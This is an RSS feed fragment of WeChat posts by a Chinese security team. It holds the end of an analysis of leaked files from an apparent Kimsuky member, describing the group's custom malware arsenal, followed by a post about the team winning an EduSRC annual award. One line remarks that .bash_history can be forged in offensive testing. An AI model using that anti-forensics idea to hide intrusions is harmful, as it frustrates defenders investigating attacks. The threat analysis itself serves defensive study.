none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\root</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">都有 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">.bash_history</span></strong><span leaf=""> 文件，我们在进攻性测试时，可以伪造同样的历史记录。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="1.1312364425162689" data-w="922" src="https://wechat2rss.xlab.app/img-proxy/?k=4911afc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0haNxvIP8z2Sib59B9a0D1UvgpkNhBwu5YdtibL3GDZ0UZ7dGamnwIic3g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="border-top-color: rgb(0, 0, 0);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: left;height: 1px;justify-content: unset;letter-spacing: 0px;line-height: 1px;margin-top: -17px;margin-bottom: 0px;margin-left: -5px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 90%;-webkit-box-reflect: unset;"></span><span style="background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: 3px;justify-content: unset;letter-spacing: 0px;line-height: 3px;margin-top: 0px;margin-bottom: 0px;margin-left: 5%;margin-right: 0px;overflow-x: hidden;overflow-y: hidden;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 3px;-webkit-box-reflect: unset;"></span><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">总结</span></span><span style="background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: 3px;justify-content: unset;letter-spacing: 0px;line-height: 3px;margin-top: 0px;margin-bottom: 0px;margin-left: 95%;margin-right: 0px;overflow-x: hidden;overflow-y: hidden;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 3px;-webkit-box-reflect: unset;"></span><span style="border-bottom-color: rgb(0, 0, 0);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: right;height: 1px;justify-content: unset;letter-spacing: 0px;line-height: 1px;margin-top: 16px;margin-bottom: 0px;margin-left: 0px;margin-right: -5px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 90%;-webkit-box-reflect: unset;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">虽然泄露的文件仅是一名成员的电脑，但是我们可以看到Kimsuky组织显然拥有一个成熟的、内部开发的恶意软件“武器库”。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">他们不依赖于公开的、现成的黑客工具，而是倾向于自己编写或深度魔改其攻击载荷的每一个组件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这体现了其高水平的技术能力和极强的反侦察意识。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">总而言之，泄露的一些代码片段已经描绘了一个典型的、高水平国家级黑客组织的轮廓。他们不仅拥有强大的攻击能力，更在“如何隐藏自己”这门艺术上登峰造极。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">对于安全防御人员来说，研究这些代码是理解现代高级威胁行为、改进检测策略和开发防御工具的宝贵资料。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">ps：因为时间的关系，我并没有查看所有文件，所以部分内容仍在探索。</span></p></div><hr style="-webkit-tap-highlight-color: transparent;margin: 1.5rem 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);border-top: 1px dashed rgb(165, 165, 165);color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-right: none;border-left: none;border-image: initial;border-bottom: none;height: 1px;font-size: 16px;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-weight: 300;letter-spacing: normal;text-align: start;"/><blockquote style="-webkit-tap-highlight-color: transparent;margin: 1em 0px;padding: 15px 15px 15px 1rem;outline: 0px;border-left: 6px solid rgb(220, 230, 240);color: rgb(129, 145, 152);font-size: 0.9em;text-indent: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: normal;background: rgb(242, 247, 251);border-top-color: rgb(64, 64, 64);border-right-color: rgb(64, 64, 64);border-bottom-color: rgb(64, 64, 64);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;display: block;overflow: auto;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;letter-spacing: normal;text-align: start;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">我是Snow 狼，我在渊龙Sec安全团队等你</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">微信公众号：渊龙Sec安全团队</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎关注我，一起学习，一起进步~</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本篇文章为团队成员原创文章，请不要擅自盗取！</span></p></blockquote><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000063" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="430" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4c67e7ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfiajytAx7IbfPkMjLIyRLkDoUuREpP4SwzqNe9WfraEfyrUE4wZYFicQ6dUicmnWgycGicCiasp6jYC7OzDsicx8GmqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485702">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b2800f1d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485702%26idx%3D1%26sn%3D12bfba855d9de29732c531196dcba911">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 15 Aug 2025 11:24:00 +0800</pubDate>
    </item>
    <item>
      <title>2024年团队奖金来啦~EduSRC年度第一！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485700&amp;idx=1&amp;sn=35cf6cf595ed71b18d24b2bcd6b4b163</link>
      <description>闲云潭影日悠悠，物换星移几度秋。感谢各位团队师傅的关注和支持，经过2024年大家的辛勤付出，我们团队取得了EduSRC平台的年度安全团队第一名！！！</description>
      <content:encoded><![CDATA[<p>
原创 <span>渊龙Sec安全团队</span> <span>2025-06-29 21:29</span> <span style="display: inline-block;">广东</span>
</p>

<p>闲云潭影日悠悠，物换星移几度秋。感谢各位团队师傅的关注和支持，经过2024年大家的辛勤付出，我们团队取得了EduSRC平台的年度安全团队第一名！！！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=64fe2f9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTCdFhSFem56P7rahdxNo6BicWGcDo7StcfylkUOL2Ssumwy3Y29OKeTA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="outer" style="background-repeat: repeat;background-position: center center;padding: 10px;background-size: auto;background-color: rgb(237, 238, 240);background-image: none;display: grid;box-sizing:border-box;" data-tplid="138673"><div><div data-tools="135编辑器" data-id="105041"><div data-height="473" data-mode="svg" data-ratio="1.2613333333333334" data-role="absolute-layout" data-width="375" style="font-size: 16px;overflow: hidden;grid-template-rows: 100%;grid-template-columns: 100%;display: grid;width: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4FwekojiaOdiawJ6l5jzbicMgYqyGtdJ2sbia5lh5GPYHmrWEIMFboMcRog/640?wx_fmt=jpeg&amp;from=appmsg&#34;);background-size: 100%;background-repeat: repeat;background-position: center center;max-width:100% !important;box-sizing:border-box;"><p data-role="ratio" style="grid-row-start: 1;grid-column-start: 1;height: 100%;"><svg viewBox="0 0 375 473" style="pointer-events: none;display: inline-block;width: 100%;-webkit-tap-highlight-color: transparent;user-select: none;max-width:100% !important;box-sizing:border-box;"></svg></p><p data-role="block" style="width: 65%;margin-top: 53.3333%;margin-left: 8.53333%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;font-size: 17.3333px;box-sizing:border-box;max-width:65% !important;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;max-width:100% !important;box-sizing:border-box;" viewBox="0 0 244 28"><foreignObject data-role="block-content" height="100%" width="100%"><svg data-role="img" style="background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4gsicaxgibJYIsJLT4Bsv6ThrrGZUcgfRiaZzXCPBS43X1ODcKZPBlmI7g/640?wx_fmt=png&amp;from=appmsg&#34;);background-size: cover;width: 100%;vertical-align: top;max-width:100% !important;box-sizing:border-box;" viewBox="0 0 243.75 20.9062"></svg></foreignObject></svg></p><p data-role="block" style="width: 65%;margin-top: 40%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;margin-right: auto;box-sizing:border-box;max-width:65% !important;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;max-width:100% !important;box-sizing:border-box;" viewBox="0 0 244 40"><foreignObject data-role="block-content" height="100%" width="100%"><div style="overflow: hidden;"><p style="line-height: 1;text-align: center;color: #fee9a1;"><span style="font-size: 2.5em;"><strong data-brushtype="text"><span leaf="">渊龙Sec团队</span></strong></span></p></div></foreignObject></svg></p><p data-role="block" style="width: 57%;margin-top: 31.4667%;margin-left: 5.6%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;box-sizing:border-box;max-width:57% !important;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;max-width:100% !important;box-sizing:border-box;" viewBox="0 0 214 20"><foreignObject data-role="block-content" height="100%" width="100%"><div style="overflow: hidden;"><p style="line-height: 1;text-align: center;color: #ffffff;"><span style="font-size: 1.25em;"><strong data-brushtype="text"><span leaf="">渊龙团队Edu小组</span></strong></span></p></div></foreignObject></svg></p><p data-role="block" style="width: 59%;margin-top: 9.06667%;margin-left: 5.6%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;box-sizing:border-box;max-width:59% !important;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;max-width:100% !important;box-sizing:border-box;" viewBox="0 0 221 72"><foreignObject data-role="block-content" height="100%" width="100%"><div style="overflow: hidden;"><p style="line-height: 1;text-align: center;color: #fee9a1;"><span style="font-size: 4.5em;"><strong data-brushtype="text"><span leaf="">2024</span></strong></span></p></div></foreignObject></svg></p><p data-role="block" style="width: 68%;margin-top: 53.6%;margin-left: 5.6%;grid-row-start: 1;grid-column-start: 1;height: max-content;line-height: 0;box-sizing:border-box;max-width:68% !important;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="display: inline-block;width: 100%;line-height: 1.6;overflow: visible;max-width:100% !important;box-sizing:border-box;" viewBox="0 0 255 19"><foreignObject data-role="block-content" height="100%" width="100%"><div style="overflow: hidden;"><p style="letter-spacing: 0.125em;line-height: 1.2;text-align: center;color: #d0021b;"><span style="font-size: 0.938em;"><strong data-brushtype="text"><span leaf="">  EduSRC平台优异成绩表彰</span></strong></span></p></div></foreignObject></svg></p></div></div></div><div><div data-tools="135编辑器" data-id="133915" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div style="margin: 10px auto;"><div style="background-color: #ffffff;padding: 12px;border-style: solid;border-width: 3px 2px 3px 3px;border-color: #b21916;border-radius: 0px;box-sizing:border-box;"><p style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002023" data-ratio="0.5592592592592592" style="vertical-align: baseline;width: 100%;box-sizing:border-box;max-width:100% !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bd5cf38c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTZq5Z3qJPN8Jx8suXQdpu8iapbfjMaCrtV3icXRfy7j0iaej7I72m4KOlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="display: flex;justify-content: flex-end;margin-top: -35px;z-index: 10;height: 0px;"><span leaf=""><br/></span></p></div></div><div style="font-size: 14px;"><p style="will-change: transform;height: 0px;"><span leaf=""><br/></span></p></div></div><div data-tools="135编辑器" data-id="98902" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;" data-width="90%"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" data-width="100%" style="display: inline-block;width: 100%;padding: 10px 20px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;line-height: 2;max-width:100% !important;box-sizing:border-box;"><div data-role="layout-inner"><div style="line-height: 34px;"><div style="margin-bottom: 10px;font-size: 18px;color: #faebcc;" data-autoskip="1"><p><strong><strong><span style="color: #faebcc;font-size: 18px;letter-spacing: 0.578px;text-decoration: none solid #faebcc;"></span></strong><span leaf="">闲云潭影日悠悠，物换星移几度秋。感谢各位团队师傅的关注和支持，经过2024年大家的辛勤付出</span></strong><strong style="letter-spacing: 0.034em;"><strong><span style="letter-spacing: 0.578px;text-decoration-style: solid;text-decoration-color: #faebcc;"><span leaf="">，</span></span></strong><span leaf="">我们团队取得了EduSRC平台的年度安全团队第一名！！！</span></strong></p></div><div style="text-align: right;font-size: 18px;color: #faebcc;" data-autoskip="1"><div><p style="text-align:center;" nodeleaf=""><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/fiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTXyECUobWlfERpeKPH5Dh68x8Izib51zeGNyOk7P2DHOfOrKqnJqwPng/640?wx_fmt=jpeg&amp;from=appmsg" data-cropx2="1080" data-cropy2="1089.3506493506495" data-imgfileid="100002025" data-ratio="1.0083333333333333" style="vertical-align:baseline;width:462px;box-sizing:border-box;max-width:100% !important;height:466px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6eef2961&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTL8lZQUK1U5BIicBah2iabHXicpJdHAYibQP3NlRKHu0e4ZeYalCYU4qzFw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align:left;"><strong><span leaf="">收到了来自EduSRC平台的8K现金奖金，将在表彰后，按照2024贡献的Rank值，统一将8K的现金奖金发放给EDU小组的成员们~~</span></strong></p></div></div></div></div></div></div></div><div data-tools="135编辑器" data-id="98902"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div data-role="layout-inner"><p style="height: 0px;"><span leaf=""><br/></span></p></div></div></div></div><div data-tools="135编辑器" data-id="98904" style="margin-right: auto;margin-left: auto;width: 60%;flex: 0 0 60%;box-sizing:border-box;max-width:60% !important;" data-width="60%"><div data-role="layout" style="display: flex;justify-content: flex-end;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 5%;align-self: center;box-sizing:border-box;max-width:5% !important;" data-width="5%"><div style="transform-origin: center center;transform: translateY(20px);-webkit-transform: translateY(20px);-moz-transform: translateY(20px);-o-transform: translateY(20px);"><div data-role="scale-fix" style="margin-top: -20px;"><p style="text-align: right;" align="right" nodeleaf=""><img data-imgfileid="100001755" class="rich_pages wxw-img" data-ratio="3.8" data-type="png" data-w="10" style="width: 100%;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0294d58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4wqxgGrMRZPW7eKjpNvWibKTHmRTfn8cgHBnVlbECAMQ9S89NRlZMlibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div data-role="layout" data-width="95%" style="display: inline-block;width: 95%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;align-self: center;margin-left: 10px;box-sizing:border-box;max-width:95% !important;"><div style="line-height: 2.6;"><p style="text-align: center;color: #ffffff;"><span style="font-size: 20px;"><strong data-brushtype="text"><span leaf="">年度优秀团队证书</span></strong></span></p></div></div></div></div><div data-width="60%" style="width: 60%;flex: 0 0 60%;margin-left: auto;margin-right: auto;transform-origin: center center;box-sizing:border-box;max-width:60% !important;transform: translateX(15px) translateY(-20px);-webkit-transform: translateX(15px) translateY(-20px);-moz-transform: translateX(15px) translateY(-20px);-o-transform: translateX(15px) translateY(-20px);"><div data-role="scale-fix" style="margin-bottom: -20px;"><p style="text-align: right;" align="right" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100001759" data-ratio="0.6988155668358714" width="56" data-type="gif" data-w="591" data-width="56px" style="width: 56px;vertical-align:baseline;box-sizing:border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=b7b8eeb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4bZuWdemthFF4XhSw3o3AVjicbQgUXdaCldDtzAt2U6dicAuD7OicJA9icg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div data-tools="135编辑器" data-id="98902" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;transform-origin: center 